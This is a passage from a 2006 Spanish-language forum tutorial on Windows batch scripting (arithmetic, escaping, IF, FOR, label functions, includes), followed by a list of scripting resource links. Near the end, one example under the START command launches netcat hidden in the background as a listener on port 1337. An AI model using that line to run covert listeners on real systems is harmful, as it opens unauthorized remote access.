esto reemplazara las letras "e" por "XXX".

Para hacer calculos matematicos, se usa el modificado /A, de esta forma:

Código
  1. @echo off
  2. set /A x=1
  3. echo %x%
  4. set /A x=x*9
  5. echo %x%
  6.  

tenemos las siguientes operaciones disponibles:

Código
  1. ()                  - agrupar
  2. * / %               - operadores aritméticos
  3. + -                 - operadores aritméticos
  4. << >>               - mayús lógica
  5. &                   - AND
  6. ^                  - XOR
  7. |                   - OR
  8. = *= /= %= += -=    - asignación
  9.  &= ^= |= <<= >>=
  10. ,                   - separador de expresión
  11.  

Con este podemos usar numeros hexadecimales de la siguiente forma:

Código
  1. @echo off
  2. set /A x=2
  3. echo %x%
  4. set /A x=x*0xff
  5. echo %x%

al colocar 0x estamos especificando, que a continuacion se pondra un valor hexadecimal.



Imprimir caracteres sin usar comandos

Ahora, se preguntaran, en las variabes, siempre usamos los signos %
Como imprimes uno?

veamos:

Código
  1. @echo off
  2. set x=pru
  3. set pru=HOLA
  4.  
  5. :: Esto imprimira el contenido de x
  6. echo %x%
  7.  
  8. ::Esto imprimira la letra x
  9.  
  10. ::Esto imprimira %x%
  11. echo %%x%%
  12.  
  13. ::Esto imprimira el valor de x entre %%
  14. echo %%%x%%%
  15.  
  16. :: Lo mismo
  17. echo %pru%
  18. echo %%pru%%
  19. echo %%%pru%%%
  20.  

En resumen, si quieren imprimir, el caracter %, deben colocarlo 2 veces.

Para otros caracteres, que ejecutan alguna accion en batch como:
&
|
<
>

debes colocar este caracter antes:^

por ejemplo:

Código
  1. echo <html><h1>Hola</h1></html> >index.html
  2.  

no funcionara, pero:

Código
  1. echo ^<html^>^<h1^>Hola^</h1^>^</html^> >index.html
  2.  

dara:
Código
  1. C:\Documents and Settings\Administrador\tempcurso>type index.html
  2. <html><h1>Hola</h1></html>
  3.  



Algunas otras variables de entorno

Tenemos otras variables de entorno que podrian servir, ademas de las comunes de ALLUSERSPROFILE y HOMEPATH, por ejemplo:

Código
  1. @echo off
  2. echo Directorio Actual: %CD%
  3. echo Fecha: %DATE%
  4. echo Hora: %TIME%
  5. echo Numero Aleatorio: %RANDOM%
  6.  
dara como resultado:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>astring
  2. Directorio Actual: C:\Documents and Settings\Administrador\tempcurso
  3. Fecha: Lun 24/07/2006
  4. Hora:  2:13:49.33
  5. Numero Aleatorio: 24523
  6.  
  7. C:\Documents and Settings\Administrador\tempcurso>astring
  8. Directorio Actual: C:\Documents and Settings\Administrador\tempcurso
  9. Fecha: Lun 24/07/2006
  10. Hora:  2:13:51.60
  11. Numero Aleatorio: 3681
  12.  

Otras instrucciones muy utiles, serian POPD y PUSHD, que sirven para guardar y regresar al directorio actual, por ejemplo:

Código
  1. @echo off
  2. echo %CD%
  3. echo %CD%
  4. echo %CD%
  5.  

PUSHD funciona de la siguiente manera:

Guarda el directorio actual., y va a la ruta especificada.

POPD regresa al directorio guardado por PUSHD

podemos usarlos uno dentro de otro, asi:

Código
  1. @echo off
  2. echo %CD%
  3. echo %CD%
  4. PUSHD %homepath%
  5. echo %CD%
  6. echo %CD%
  7. echo %CD%
  8.  



IF

If, reconoce varias situaciones:

valores de error
comparar cadenas
existencia de archivos
comparaciones matematicas

como ya sabemos %ERRORLEVEL% almacena algunos valores de otras funciones.

al hacer

IF ERRORLEVEL 1 @echo ok ELSE @echo no

estariamos preguntando si ERRORLEVEL es 1, si lo es imprime OK, si no, imprime NO.

tambien podemos comparar cadenas, por ejemplo:

Código
  1. @echo off
  2. IF "%~1"=="hola" echo hola
  3.  

usamos %~1 para que aunque el usuario ponga comillas, no salga error ;)

Código
  1. @echo off
  2. IF /I "%~1"=="hola" echo hola
  3.  

este codigo, solo responde si dices hola CON minusculas. /I es para hacer mas estricta la comparacion.

ahora, podemos usar IF en varias lineas:

Código
  1. @echo off
  2. IF EXIST %~snx1 (
  3. echo EXISTE!
  4. ) ELSE (
  5. echo NO EXISTE
  6. )
  7.  

con parentesis ().

si vamos a usar comparaciones numericas, debemos usar los siguientes codigos de comparación:

Código
  1.  
  2.    EQU - igual
  3.    NEQ - no igual
  4.    LSS - menor que
  5.    LEQ - menor que o igual
  6.    GTR - mayor que
  7.    GEQ - mayor que o igual
  8.  
  9.  

por ejemplo:

Código
  1. @echo off
  2. echo Cual es tu edad?
  3. SET /P m=
  4. IF %m% GEQ 18 (
  5. echo ERES MAYOR DE EDAD
  6. ) ELSE (
  7. echo NO ERES MAYOR DE EDAD
  8. )
  9.  

que regresa:

Código
  1. C:\Documents and Settings\Administrador\tempcurso>acon
  2. Cual es tu edad?
  3. 19
  4. ERES MAYOR DE EDAD
  5.  
  6. C:\Documents and Settings\Administrador\tempcurso>acon
  7. Cual es tu edad?
  8. 17
  9. NO ERES MAYOR DE EDAD
  10.  

Tambien podemos saber si una variable ya fue definida:

Código
  1. IF DEFINED var (
  2. echo SI
  3. ) ELSE (
  4. echo NO
  5. )
  6.  



FOR

FOR es una herramienta muy completa, nos permite analizar segmentos de la salida de comandos, funciones y el contenido de archivos.

Tambien permite hacer bucles de la siguiente manera:

Código
  1. FOR /L %%var IN (inicio,incremento,fin) DO (acciones)

inicio, es el valor inicial, incremento es la cantidad a sumar, y fin es la cantidad a detenerse, por ejemplo:

Código
  1. FOR /L %%i IN (0,1,10) DO (echo %%i)
imprimira 0 1 2 3 4 5 6 7 8 9 10

sinembargo, la forma mas sencilla de usar FOR, es para numerar archivos, y hacer algo con ellos.. por ejemplo:

Código
  1. FOR %%x in (x*) DO echo %%x
mostrará todos los archivos que empiezan con x.

para SOLO mostrar directorios:
Código
  1. FOR /D %%x in (m*) DO echo %%x
el modificador "/D", mostrará solo los directorios, que empiesen con m.

El comando se puede hacer "recursivo", es decir, que se ejecute  dentro de cada directorio, con el comando "/R", por ejemplo, en una estructura de directorios como la siguiente:

Código
  1. &#9500;&#9472;&#9472;&#9472;adios
  2. &#9474;   &#9492;&#9472;&#9472;&#9472;algo
  3. &#9474;       &#9492;&#9472;&#9472;&#9472;xx
  4. &#9492;&#9472;&#9472;&#9472;hola
  5.  

al ejecutar el comando:
Código
  1. FOR /R /D %%x in (a*) DO echo %%x
  2. C:\adios
  3. C:\adios\algo

sinembargo, al ejecutar el comando..
Código
  1. FOR /R %%x in (*x*) DO echo %%x
  2. C:\ax.txt
  3. C:\adios\sx.txt
  4. C:\adios\wwx.txt
  5. C:\adios\algo\kkx.txt
  6. C:\adios\algo\xx\xx.txt
  7. C:\hola\ax.txt
  8. C:\hola\rx.txt

nos mostrara todos los archivos que coinciden con la sequencia especificada, incluso podriamos hacer un buscador en batch, con el uso de FINDSTR y FOR.

Tenemos otro modificador, /F que nos permite usar ciertas opciones para separar el resulado de las acciones.. comandos, cadenas, o archivos. Su sintaxis es la siguiente:

Código
  1. FOR /F ["opciones"] %var IN (conjunto) DO (acciones)

conjunto puede ser:
conjunto de archivos -> sin comillas
cadena de caracteres -> con comillas dobles (" ")
comando -> con comilla simple (' ')

las opciones son las siguientes:
eol -> todo lo que este despues de este caracter sera ignorado (para cada linea)
skip -> numero de lineas a saltarse al principio del archivo/comando.
delims -> esto sirve para separar las strings.. si no se coloca esta opcion, se usaran como separadores "espacio" y "tab"
tokens -> esto es para especificar cuales segementos, delimitados por "delims", seran pasados a las variables.. por ejemplo:
1,2,3
solo pasara los primeros 3 segmentos.
1,2*
pasara 2 segmentos, el primero y todo lo que este despues (el * regresa todo el resto de la linea)
1,2-6,8,9*
regresara 4 segmentos, el primero, desde el segundo hasta el sexto, el octavo y el resto de la linea, despues del noveno, el signo de menos (-) genera intervalos.

por ultimo, esta la opcion:
usebackq -> que cambia la forma de interpretar si es string o comando, de la siguiente manera:
'cadena'
`comando`

Nota: [`] es diferente al caracter de acento [´]

por ejemplo, el siguiente comando:

Código
  1. FOR /F "tokens=1,3-5,7-9,10* delims= " %%i IN ("George no es malvado, es bondadoso, siempre piensa en los demas.") DO echo %%i %%j %%k %%l tonto, %%m %%n %%o matar a %%p %%q

dara de resultado:
Código
  1. George es malvado, es tonto, siempre piensa en matar a los demas.



Funciones

El uso de argumentos, de etiquetas y de filtros nos ayuda mucho al momento de escribir un codigo.

Muchos creen que las etiquetas solo sirven para los goto.. sinembargo una etiqueta puede servir de funcion y recibir parametros.

miren, el siguiente programa:
Código
  1. @echo off
  2. call:funcion 1 2 3
  3. call:funcion %*
  4. goto:EOF
  5. :funcion
  6. echo Estoy en: %~nx0-^>%0 %*

al ser llamado, por ejemplo en:
Código
  1. C:\>ejemplo
  2. Estoy en: ejemplo.bat->:funcion 1 2 3
  3. Estoy en: ejemplo.bat->:funcion
el primero muestra los parametros enviados por el batch (1 2 3), y el segundo los parametros enviados al programa.
en este otro ejemplo:
Código
  1. C:\>ejemplo HOLA MUNDO
  2. Estoy en: ejemplo.bat->:funcion 1 2 3
  3. Estoy en: ejemplo.bat->:funcion HOLA MUNDO
la funcion obtiene tambien los argumentos del programa.

hasta ahora.. todo es igual a usar goto a excepcion del uso de argumentos, sinembargo.. si queremos hacer un.. "return", se hace usando:
goto:EOF
entonces, en situaciones como:
Código
  1. @echo off&call:main&goto:EOF
  2.  
  3. :suma
  4. set /A res=%1 + %2
  5. echo %res%
  6. goto:EOF
  7.  
  8. :resta
  9. set /A res=%1 - %2
  10. echo %res%
  11. goto:EOF
  12.  
  13. :multiplica
  14. set /A res=%1 * %2
  15. echo %res%
  16. goto:EOF
  17.  
  18. :main
  19. set /P arg=Escribe 2 numeros separados por un espacio
  20. echo %arg%
  21. echo su suma es:
  22. call:suma %arg%
  23.  
  24. echo su resta es:
  25. call:resta %arg%
  26.  
  27. echo su producto es:
  28. call:multiplica %arg%
  29.  
  30. goto:EOF
  31.  

como podemos ver goto:EOF se usa para regresar al orden de comandos.

el resultado es algo asi:

Código
  1. C:\>operaciones
  2. Escribe 2 numeros separados por un espacio 6 2
  3. 6 2
  4. su suma es:
  5. 8
  6. su resta es:
  7. 4
  8. su producto es:
  9. 12
  10.  



Includes
Para hacer un "include" oincluir un archivo, solo debes llamarlo asi:
archivo_a_incluir.bat funcion argumentos
y en el archivo a incluir, debe de estar al principio: @echo off&call:%*&goto:EOF

queda algo asi:
Código
  1. @echo off&call:%*&goto:EOF
  2. :funcion1
  3. ...
  4. :funcion2
  5. ...
  6.  

por ejemplo:

--inclu.bat--
Código
  1. @echo off&call:%*&goto:EOF
  2.  
  3. :cabeza
  4. echo ###############
  5. echo # Hecho por:  #
  6. echo # sirdarckcat #
  7. echo ###############
  8. goto:EOF
  9.  
  10. :uso
  11. echo uso:
  12. echo %~nx0 Nombre
  13. goto:EOF
  14.  
  15. :nombre
  16. echo Hola %*
  17. goto:EOF
  18.  

--inicio.bat--
Código
  1. @echo off
  2. if "%~1"=="" (
  3. inclu.bat cabeza
  4. inclu.bat uso
  5. ) else (
  6. inclu.bat nombre %~1
  7. )
  8.  

esto daria este resultado:

Código
  1. C:\>inicio
  2. ###############
  3. # Hecho por:  #
  4. # sirdarckcat #
  5. ###############
  6. uso:
  7. inclu.bat Nombre
  8.  
  9. C:\>inicio sirdarckcat
  10. Hola sirdarckcat
  11.  
  12. C:\>
  13.  



Misc
Algunos filtros y comandos interesantes:

  • comando | more
muestra el resultado del comando de forma paginada

  • comando | sort
muestra el resultado del comando de forma ordenada

  • TITLE "algo"
cambia el titulo de la ventana de CMD

  • SUBST ruta/a/alguna/carpeta [letra_unidad]
asgina a letra_unidad la ruta de acceso

  • FIND "cadena"
busca cierta cadena en un archivo (se puede usar como filtro), con el modificador /v encuentra solo las que NO tienen la linea especificada. (para mas info, escribe en CMD: FIND /?)

  • FINDSTR
extension de FIND, acepta expresiones regulares, y busqueda general (lo mas parecido que DOS tiene a grep), descripción detallada:
Código
  1. Busca cadenas en los archivos.
  2.  
  3. FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P]
  4. [/F:archivo]
  5.   [/C:cadena] [/G:archivo] [/D:lista de directorios] [/A:atributos de color]
  6.   [cadenas] [[unidad:][ruta]nombredearchivo[ ...]]
  7.  
  8.  /B        Hace coincidir los modelos si están al principio de la línea.
  9.  /E        Hace coincidir los modelos si están al final de la línea.
  10.  /L        Literalmente utiliza cadenas de búsqueda.
  11.  /R        Utiliza cadenas sde búsqueda como expresiones regulares.
  12.  /S        Busca archivos que coinciden en el directorio actual y en todos
  13.            los subdirectorios.
  14.  /I        Especifica que la búsqueda no distingue mayúsculas de minúsculas.
  15.  /X        Imprime líneas que coinciden con exactitud.
  16.  /V        Sólo imprime líneas que no contienen una correspondencia.
  17.  /N        Imprime el número de la línea antes de la línea que coincide.
  18.  /M        Sólo imprime el nombre de archivo si el archivo contiene una
  19.            correspondencia.
  20.  /O        Imprime un carácter de desplazamiento antes de las líneas que
  21.            coinciden.
  22.  /P        Omite archivos con caracteres que no son imprimibles
  23.  /A:attr   Especifica atributos de color con dos dígitos hexadecimales. Ver
  24.            "color /?"
  25.  /F:archivo  Lee la lista de archivos desde el archivo especificado
  26.            (/ significa consola).
  27.  /C:cadena   Utiliza una cadena especificada como una búsqueda de cadena
  28.            literal.
  29.  /G:archivo  Coje la búsqueda de archivos desde el archivo especificado
  30.            (/ significa consola).
  31.  /D:dir    Busca un signo de punto y coma de la lista delimitada de
  32.            directorios
  33.  cadenas   Texto que se debe buscar.
  34.  [unidad:][ruta]nombredearchivo
  35.            Especifica un archivo o  archivos que buscar.
  36.  
  37. Utiliza espacios para separar múltiples cadenas de búsqueda a no ser que
  38. el argumento lleve un prefijo con /C.  Por ejemplo, 'FINDSTR "qué tal" x.y'
  39. busca "qué" o "tal" en el archivo x.y.  'FINDSTR /C:"qué tal" x.y' busca
  40. "qué tal" en el archivo x.y.
  41.  
  42. Expresión regular de referencia rápida:
  43.  .        Comodín: cualquier carácter
  44.  *        Repetir: cero o más ocurrencias de un carácter previo o de clase
  45.  ^       Posición de línea: comienzo de la línea
  46.  $        Posición de línea: fin de línea
  47.  [clase]  Clase de carácter: cualquier carácter en la serie
  48.  [^class] Clase inversa: cualquier carácter que no esté en la serie
  49.  [x-y]    Intervalo: cualquier carácter que esté dentro del intervalo
  50.           especificado
  51.  \x       Escape: uso literal de un metacarácter x
  52.  \<xyz    Posición de palabra: principio de palabra
  53.  xyz\>    Posición de palabra: fin de palabra
  54.  
  55. Para obtener una información más completa sobre expresiones regulares de
  56. FINDSTR referirse al Comando de referencia Command en línea.
  57.  
  58.  

  • start "titulo ventana nueva" [OPCIONES] comando argumentos
START tiene mas opciones de las que son usadas comunmente.
"titulo ventana nueva" especifica el titulo de la ventana que se generará.

las opciones entre otros contienen:
/Druta - el programa inicia en el directorio..
/B - la aplicación se inicia sin ventana
/I - se inicia la aplicacion con el entorno original, es decir las modificaciones al entrono hechas en esta sesion, no afectaran el nuevo programa
/MIN - La nueva ventana se inicia minimisada
/MAX - La nueva ventana se inicia maximisada
/SEPARATE - El programa se inicia en una zona de memoria separada
/SHARED - El programa se inicia en una zona de memoria compartida

Iniciar en prioridades:

/LOW - baja
/NORMAL - normal
/HIGH - alta
/REALTIME - tiempo real
/ABOVENORMAL - sobre lo normal
/BELOWNORMAL - debajo de lo normal

/WAIT - Inicia el programa, y espera hasta que termine de ejecutarse

por ejemplo, si quieren abrir un programa sin generar una ventana, por ejemplo netcat, podrian hacer algo asi:

start /B /SEPARATE /HIGH /I /D %WINDIR% nc -L -p 1337 |exit

que lo inicia en una zona de memoria separada, con prioridad alta, en el contexto original, y en %windir%


EOF
EOF es una etiqueta que define el fin del archivo, sirve para terminar funciones, y en este caso, solo sirve para terminar el documento :), espero les sirva ;)


(c) Sirdarckcat 2006
Autorizo la reproducción total o parcial de este documento bajo la licencia de documentación libre de GNU (GFDL), una copia puede ser encontrada en http://www.gnu.org/licenses/fdl.txt

50  Programación / Scripting / Recopilatorio de temas interesantes - Scripting - en: 22 Julio 2006, 23:37 pm
Recopliatorio de Posts importantes sobre Scripting.


Ventajas de SOP (Scripting Oriented Programming).

Resumen Scripting en Wikipedia
http://en.wikipedia.org/wiki/Scripting

Estudio de lenguajes de SOP.
http://merd.sourceforge.net/pixel/language-study/scripting-language/

Programacion de "el mas alto nivel".. Scripting
http://home.pacbell.net/ouster/scripting.html

Scripting mejor que C y Java?
http://page.mi.fu-berlin.de/~prechelt/Biblio/jccpprt2_advances2003.pdf

Herramientas en Python de Google (la mayoria son Python, no todas)
http://code.google.com/projects.html



ActionScript:

Foro:

Tutorial Calculadora Sencilla en Flash
http://foro.elhacker.net/index.php/topic,129503.0.html

[:: Mini-Tutorial ::] Crear un botón con link en Flash
http://foro.elhacker.net/index.php/topic,29067.0.html

Ver foro de diseño.

Web:

Tutorial de ActionScript 2.0
http://www.abcdatos.com/tutoriales/tutorial/o133.html

Tutorial ActionScript
http://www.cristalab.com/tutoriales/21/tutorial-de-actionscript-2.0-en-flash

Batch (Win):

Foro

Manual de referencia de comandos de la CMD (XP/VISTA/7/8) INGLÉS
http://foro.elhacker.net/index.php/topic,367016.0.html

[BATCH] Manual de Batch (INGLÉS)
http://foro.elhacker.net/index.php/topic,367017.0.html

Uso comodines DOS
http://foro.elhacker.net/index.php/topic,32265.0.html

Comandos DOS
http://foro.elhacker.net/index.php/topic,32265.0.html

Tutorial programación Batch
http://foro.elhacker.net/index.php/topic,18148.0.html

B-Ware pequeño tutorial de batch, hecho en batch
http://foro.elhacker.net/index.php/topic,136764.0.html

Recopilación de PDF's sobre Batch en español
http://foro.elhacker.net/index.php/topic,395516.0.html

Web

DOS Batch File Tutorial
http://www.chebucto.ns.ca/~ak621/DOS/BatBasic.html

DOS Tutorial--Batch files and commands
http://furies.senecac.on.ca/~cpang/ios100/dosbatch.html

Tutorial BATCH
http://www.raonline.com.ar/foros/index.php?showtopic=2584

‬javascript:

Foro

Introdución al scripting
http://foro.elhacker.net/index.php/topic,128547.0.html

Recopilacion scripts
http://foro.elhacker.net/index.php/topic,122305.0.html

Web

Tutorial ‬javascript
http://www.htmlpoint.com/‬javascript/tutorial/

Tutorial de ‬javascript
http://www.ulpgc.es/otros/tutoriales/‬javascript/index.htm

Tutorial de ‬javascript
http://www.elcodigo.net/tutoriales/‬javascript/‬javascript.html

‬javascript Tutorial
http://www.w3schools.com/js/

‬javascript Reference
http://‬javascript-reference.info/

‬javascript Quick Reference
http://www.devguru.com/Technologies/ecmascript/quickref/javascript_index.html

‬javascript Code Reference
http://developer.mozilla.org/docs/Core_JavaScript_1.5_Reference


Perl:

Web:


Principios de Programación Imperativa, Funcional y Orientada a Objetos Una Introducción en Perl/Una Introducción a Perl

http://nereida.deioc.ull.es/~lhp/perlexamples/


Python:

Foro:

Aprendiendo Python
http://foro.elhacker.net/index.php/topic,104880.0.html

Tutorial Python (ver links respuestas)
http://foro.elhacker.net/index.php/topic,79568.0.html

Python? (ver lnks respuestas)
http://foro.elhacker.net/index.php/topic,113874.0.html

Un buen manual para el PYTHON (ver links respuestas)
http://foro.elhacker.net/index.php/topic,120534.0.html

PODEROSO SOLO QUE A LEER Y PENSAR PYTHON
http://foro.elhacker.net/index.php/topic,126352.0.html

Manual Iniciación Python
http://foro.elhacker.net/index.php/topic,72226.0.html

Enviar Correo con Python
http://foro.elhacker.net/index.php/topic,132706.0.html

[PAPER] Compilación de scripts en Python a .exe
http://foro.elhacker.net/index.php/topic,332575.0.html

Pack de 15 cursos y tutoriales de Python en pdf
http://foro.elhacker.net/index.php/topic,369548.0.html

[Videotutorial] Programando en Python
http://foro.elhacker.net/index.php/topic,406082.0.html

Proyecto Monster Girl Quest Kirito Adventure [Python,Juego]
http://foro.elhacker.net/scripting/proyecto_monster_girl_quest_kirito_adventure_pythonjuego-t407121.0.html



Ruby:

Foro:

[Introducing Ruby] Lo que debes saber sobre Ruby
http://foro.elhacker.net/index.php/topic,321085.0.html



Ultima limpieza de contenido realizada por Elektro el 11/01/2014
Páginas: 1 2 3 4 [5] 6
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines